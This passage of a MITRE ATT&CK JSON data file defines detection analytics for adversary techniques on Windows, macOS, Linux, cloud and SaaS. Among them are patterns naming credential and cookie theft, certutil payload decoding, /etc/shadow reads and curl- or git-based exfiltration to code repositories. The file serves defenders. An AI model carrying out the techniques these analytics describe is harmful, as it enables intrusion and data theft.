            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetBundlePathPattern",
                    "description": "Monitor relocation to .app/Contents/MacOS/ or ~/Library/Launch*"
                },
                {
                    "field": "QuarantineFlagCheck",
                    "description": "Check for disappearance of com.apple.quarantine attribute post-move"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7263a8a8-a06f-4bdc-a021-3529ad683f9d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0050#AN0137",
                    "external_id": "AN0137"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0137",
            "description": "An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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                    "description": "Office trusted add-in paths may differ across enterprise configurations"
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                    "field": "TimeWindow",
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                    "field": "ProcessName",
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                    "field": "AccessFrequency",
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                {
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                {
                    "field": "NetworkAccessLocation",
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            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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        {
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0554",
            "description": "Suspicious rule creation within Outlook or Exchange clients, including auto-move or delete conditions tied to incident or security alert keywords. Defender perspective: correlation between missing inbound emails and newly added mailbox rules.",
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            "description": "An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats. The decoding utility often spawns shortly after file staging or download and may be chained with script interpreters or further payload execution.",
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                    "channel": "EventCode=11"
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                    "field": "FileExtensionFilter",
                    "description": "Targets may use .txt, .cer, .enc, .b64, .zip, etc. to disguise payloads"
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                    "field": "CommandLineRegex",
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                    "field": "TimeWindow",
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                    "description": "Permitted Kerberos encryption algorithms; RC4 usage (etype 0x17) should be closely monitored."
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                    "field": "DeviceVendors",
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            "name": "Analytic 1382",
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                },
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        },
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            "x_mitre_domains": [
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                {
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        },
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                {
                    "field": "OutboundIPRange",
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        },
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                },
                {
                    "field": "UserContext",
                    "description": "Monitor for untrusted or lower-privileged users executing suspicious scripts with disguised names."
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                {
                    "field": "TimeWindow",
                    "description": "Tune for execution patterns during off-hours to reduce false positives."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1482",
            "description": "1) pkg/notarization installs from atypical sources or with Gatekeeper/AMFI warnings; 2) new Mach-O written into /Applications or ~/Library paths or substitution of signed components; 3) first run from installer spawns unsigned children or exfil.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "name": "WinEventLog:System",
                    "channel": "EventCode=106, 200"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Duration threshold to consider a connection repetitive (e.g., same hour daily)"
                },
                {
                    "field": "DestIPAllowlist",
                    "description": "Known external destinations to exclude (e.g., approved SFTP/backup servers)"
                },
                {
                    "field": "ParentProcessBaseline",
                    "description": "Allowlisted job runners or scripts known to schedule legitimate transfers"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7975ae39-8c6b-45cc-9280-98e94b666c85",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0332#AN0942",
                    "external_id": "AN0942"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0942",
            "description": "Detects execution of AutoHotKey or AutoIT interpreters or compiled scripts used for unauthorized automation, command execution, or payload delivery, correlated with anomalous process lineage, command-line arguments, or script creation events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Tuning this helps identify automation behavior outside expected user work hours."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Used to isolate cases where AHK or AutoIT scripts are spawned by suspicious or unusual processes."
                },
                {
                    "field": "ScriptExtension",
                    "description": "Extensions such as .ahk, .au3, or unknown .exe names compiled from these."
                },
                {
                    "field": "ChildProcessCount",
                    "description": "Threshold for number of spawned children to detect automation or modular malware behavior."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--79ba9430-eeb0-4fce-9757-bb81fc2a43d5",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0910",
                    "external_id": "AN0910"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0910",
            "description": "Execution of QEMU, KVM, or VirtualBox processes with unusual flags (e.g., '-nographic', '-snapshot'). File creation of VM images in atypical directories. Defender view: monitoring audit logs for process executions and file modifications linked to hidden virtualization.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ImageDirectoryWhitelist",
                    "description": "Legitimate VM image storage paths to reduce false positives."
                },
                {
                    "field": "UserContext",
                    "description": "Correlate suspicious VM execution with non-admin or service accounts."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--79c196d7-abb8-4766-a875-4acafc6f059d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0195#AN0561",
                    "external_id": "AN0561"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0561",
            "description": "Execution of `ifconfig`, `networksetup`, or `system_profiler` to query IP/MAC/interface configuration and status.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptedContext",
                    "description": "Scripted tools (e.g., bash calling `ifconfig`) vs GUI-initiated inspection"
                },
                {
                    "field": "ExecutionFrequency",
                    "description": "Enumerations executed frequently or across multiple interfaces may indicate enumeration loops"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--79c7d394-e772-479c-acf9-ddd05b8a68b9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0053#AN0144",
                    "external_id": "AN0144"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0144",
            "description": "Detects excessive outbound traffic to remote host over HTTP(S) from uncommon or previously unseen processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "HTTP "
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "OutboundByteThreshold",
                    "description": "Defines threshold ratio of outbound to inbound bytes that signals possible obfuscation"
                },
                {
                    "field": "ProcessAllowlist",
                    "description": "List of known legitimate network clients to exclude from anomaly checks"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--79ecfad5-3439-4a04-919a-236d47652ba0",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1070",
                    "external_id": "AN1070"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1070",
            "description": "Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetFilePathRegex",
                    "description": "Allows tuning for file extensions or paths of sensitive data (e.g., *.xls, *.db, *.pdf)."
                },
                {
                    "field": "ParentProcessFilter",
                    "description": "Used to scope monitoring to suspicious parent/child process trees like PowerShell or WMI spawning file reads."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0102#AN0283",
                    "external_id": "AN0283"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0283",
            "description": "Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open, read"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace, ioctl"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProcessName",
                    "description": "Unusual process accessing device files"
                },
                {
                    "field": "DevicePath",
                    "description": "Typically /dev/input/*, but tunable to exact endpoint config"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7a3dd710-39a7-4327-8d3b-150c50b2c680",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1283",
                    "external_id": "AN1283"
                }
            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1283",
            "description": "Detection of default account usage such as Guest or Administrator performing interactive or remote logons on systems outside of installation or maintenance windows.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Default usernames like 'Administrator' or 'Guest' may be renamed or disabled by the organization. Detection logic should account for name changes."
                },
                {
                    "field": "TimeWindow",
                    "description": "Restrict detection to unusual hours or outside of expected maintenance windows."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7a424183-94ca-4dc1-a03b-610d174aa973",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0244#AN0682",
                    "external_id": "AN0682"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0682",
            "description": "Detection of persistent login hooks configured via defaults or plist modifications that result in execution of scripts or binaries at user login, breaking expected parent-child process lineage.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or tccd-related entries"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:plist",
                    "channel": "/var/root/Library/Preferences/com.apple.loginwindow.plist"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "login_hook_path",
                    "description": "Path of script or binary assigned to login hook; may vary by environment"
                },
                {
                    "field": "user_context",
                    "description": "Login hook may be applied to specific user accounts; tune by privilege level"
                },
                {
                    "field": "time_window",
                    "description": "Correlate plist file modification to execution within a short timeframe"
                },
                {
                    "field": "parent_process_name",
                    "description": "Expected parent process (e.g., loginwindow); anomalies can indicate masquerading"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7a5e5aff-8395-4b4e-9072-dd765dae7d19",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1493",
                    "external_id": "AN1493"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1493",
            "description": "Unauthorized instance creation in unmonitored or unused regions. Burst of compute-intensive jobs in spot instances or sudden spike in resource usage in legitimate VMs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f",
                    "name": "AWS:CloudTrail",
                    "channel": "RunInstances"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "AWS:CloudWatch",
                    "channel": "Unusual CPU burst or metric anomalies"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "Region",
                    "description": "Adversaries may deploy resources in rarely used or misconfigured regions."
                },
                {
                    "field": "TagKey",
                    "description": "Used to evade detection with benign-looking tags or names."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7a6192b4-997a-4526-bb3d-76664bc31274",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0236#AN0657",
                    "external_id": "AN0657"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0657",
            "description": "Phishing attachment detection on macOS through correlation of Mail app logs, file creation in user directories, and abnormal process execution (e.g., Preview.app or Mail.app spawning Terminal or scripting binaries). Network traffic after attachment interaction is also monitored.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "Inbound messages with attachments from suspicious domains"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "Attachment files written to ~/Downloads or temporary folders"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionDelayThreshold",
                    "description": "Time delay between attachment download and execution considered suspicious."
                },
                {
                    "field": "SuspiciousParentApps",
                    "description": "Parent processes expected to rarely spawn child processes (e.g., Mail.app, Preview.app)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7a72f91d-9c16-4724-b87d-3e5448f81b51",
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            "description": "Execution of user-downloaded or created scripts with hidden extensions due to RTLO character insertion in filename, often present in desktop environments or phishing campaigns.",
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            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "linux:osquery",
                    "channel": "event-based"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
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                    "channel": "nautilus, dolphin, or gvfs logs"
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            ],
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                {
                    "field": "ExtensionMismatch",
                    "description": "Filter based on mismatched visible extension vs. magic bytes or mime-type"
                },
                {
                    "field": "ProcessLineage",
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                {
                    "field": "FilenameEntropy",
                    "description": "Suspicious Unicode sequences or byte entropy in filenames"
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            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 1471",
            "description": "Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "SaaS"
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                    "channel": "API Key Created, OAuth Client Registered"
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                {
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                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-AppPassword, Add-MailboxPermission"
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            ],
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                {
                    "field": "OAuthClientRedirectURIBaseline",
                    "description": "Detect suspicious redirect URI mismatches in new clients."
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                {
                    "field": "TokenScopeSensitivity",
                    "description": "Highlight credentials granting excessive read/write org-wide."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "field": "UserContext",
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                "Containers"
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                    "field": "Namespace",
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                {
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                    "description": "Tune based on file paths such as '/etc/passwd', '/etc/group', '/etc/shadow'."
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                    "field": "ParentProcessName",
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            "name": "Analytic 0479",
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            "x_mitre_attack_spec_version": "3.3.0",
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                    "name": "auditd:SYSCALL",
                    "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt"
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            ],
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                {
                    "field": "TimeWindow",
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                {
                    "field": "CommandPattern",
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        },
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                {
                    "field": "ApprovedImageCatalog",
                    "description": "Set of golden images/owners and digest/IDs allowed to launch."
                },
                {
                    "field": "UserDataInspection",
                    "description": "Whether to alert when userData/cloud-init contains exec or download directives."
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                {
                    "field": "FirstBootWindow",
                    "description": "Time after start considered first-boot (e.g., \u226430m) for correlation."
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                {
                    "field": "VMTagScope",
                    "description": "Restrict detection to prod or internet-facing subnets to reduce noise."
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                {
                    "field": "ExecutionScope",
                    "description": "Restrict detection to user-initiated sessions or specific parent processes."
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                    "channel": "write"
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                {
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                    "name": "apache:access_log",
                    "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:syslog",
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UploadPathRegex",
                    "description": "Regex for CMS-specific upload directories subject to defacement (e.g., wp-content/uploads)."
                },
                {
                    "field": "FileExtensionScope",
                    "description": "Types of files to monitor for defacement (e.g., .html, .php, .jsp)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--7b981ab1-eb5f-4ad0-a819-90db819a4431",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0485"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0485",
            "description": "On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs.",
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                    "field": "PackageOriginBaseline",
                    "description": "Compare .desktop entries to known package sources (e.g., `dpkg -S`). Unexpected origins may be suspicious."
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            "description": "Configuration changes to virtual TAP/mirror policies that forward traffic to unapproved destinations. Detection correlates management plane API calls with mirrored traffic observation.",
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                    "field": "MirrorDestinationCIDR",
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                    "field": "UserIdentity",
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                    "field": "MgmtAllowList",
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            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
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                {
                    "field": "ManagedDeviceList",
                    "description": "Known corp devices; treat unknown devices as higher risk."
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            ],
            "x_mitre_deprecated": false
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            "description": "Processes such as PowerShell, Git, or curl initiating outbound HTTPS POST requests to known code repository APIs (e.g., github.com, gitlab.com) immediately following large file reads. Defender view: correlation between file access of sensitive directories (e.g., Documents, Finance) and abnormal data uploads to repository domains.",
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            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                    "description": "List of external code repository domains to monitor (github.com, gitlab.com, bitbucket.org)."
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                {
                    "field": "ExfilVolumeThreshold",
                    "description": "Threshold for outbound data volume per session to flag suspicious uploads."
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            "x_mitre_domains": [
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                {
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                    "description": "Trackable VNC executable names (e.g., vncserver.exe, winvnc.exe)"
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                {
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                    "channel": "EventCode=1"
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                {
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                {
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                    "description": "Temporal bounds for detecting batch staging activities"
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                    "description": "List of archiving/encryption utilities considered sensitive in the monitored environment."
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                {
                    "field": "SuspiciousDirectories",
                    "description": "Paths where archive creation is suspicious (e.g., /tmp, user home directories)."
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                    "description": "Temporal window to correlate command execution with file creation events."
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            "name": "Analytic 0454",
            "description": "Detect user account logon attempts that trigger multiple MFA challenges through enterprise identity integrations, especially if MFA push requests are generated without successful interactive login.",
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                    "description": "Exclude unmanaged macOS devices that use different MFA providers"
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            "name": "Analytic 0896",
            "description": "Processes like git, curl, or python scripts executing commands that package files (tar, gzip) followed by HTTPS uploads to code repository endpoints. Defender view: detect unusual git push activity or scripted HTTPS requests outside normal developer work hours.",
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                    "description": "Known allowed internal or external repository domains."
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=8"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4",
                    "name": "WinEventLog:WMI",
                    "channel": "EventCode=5857, 5858, 5860, 5861"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DiscoveryTimeWindow",
                    "description": "Maximum time window for correlating multiple discovery activities indicating reconnaissance phase - adjust based on normal system behavior (default: 300 seconds)"
                },
                {
                    "field": "DiscoveryActivityThreshold",
                    "description": "Minimum number of different discovery techniques within time window to trigger detection - balance between false positives and coverage (default: 4 activities)"
                },
                {
                    "field": "CryptographicLibraryWhitelist",
